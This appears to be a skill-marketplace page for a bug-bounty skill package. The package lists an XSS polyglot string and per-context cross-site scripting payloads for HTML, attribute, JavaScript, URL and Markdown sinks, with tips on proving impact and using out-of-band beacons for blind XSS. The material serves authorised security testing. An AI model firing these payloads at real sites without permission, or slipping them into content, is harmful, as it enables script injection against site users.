Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/payloads-xss-polyglotsWeb and bug bounty

payloads-xss-polyglots

⁨Context-breaking XSS polyglots and per-context payloads that fire across HTML/attribute/JS/ URL sinks in one shot. Load when confirming XSS fast, unsure of the injection context, or a single test payload should cover many contexts. Signals: reflected input, XSS triage, "polyglot".⁩

v2026.10.14-ee0e0c53 installs+3 in 7 days27 StarsMITsynced 23 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/payloads-xss-polyglots

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
ItIgHE0UCN…L6NX8VBg==The CLI checks the SHA-256 and the signature before it writes a file.
Packageff805ab3…c98b6131
ff805ab3c279…9050c98b61311 file · ⁦1.2 KB⁩
ScanLowno findings
The scan found nothing to flag in this version.See the full scan
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/payloads/payloads-xss-polyglots@ee0e0c5

When it applies

You want one payload that reveals reflection/execution regardless of where it lands, then a context-specific finisher once you know the spot. Pairs with web-xss.

Why it works

A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once — HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.

Payloads

Polyglot (fires broadly):

text
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Per context (once you know where you landed):

  • HTML body: <svg onload=alert(document.domain)>
  • Attribute (break out first): "><svg onload=alert(document.domain)> or " autofocus onfocus=alert() x="
  • JS string: ';alert(document.domain)// or </script><svg onload=alert()>
  • URL/href: javascript:alert(document.domain)
  • Markdown: [x](javascript:alert(1)) / ![x](onerror)
  • Attribute w/o quotes: x onmouseover=alert()

WAF-resistant variants: see payloads-waf-bypass (event/tag variety, encoding, no-parens).

Gotchas

  • Prove real impact with document.domain (right origin), not sandboxed alert(1).
  • Blind/stored XSS: use an OOB payload that beacons to your collaborator instead of alert.
  • If it reflects encoded, you have the right context but wrong breakout — adjust, don't add tags.

References

PortSwigger XSS cheat sheet; 0xsobky "Unleashing an Ultimate XSS Polyglot".

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesNoNo
Runs shell commandsNoNo
Uses the networkNoNo
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

The scan found nothing to flag in this version.

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.10.14-ee0e0c5Nov 13, 2026ee0e0c5ff805ab3Signed–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login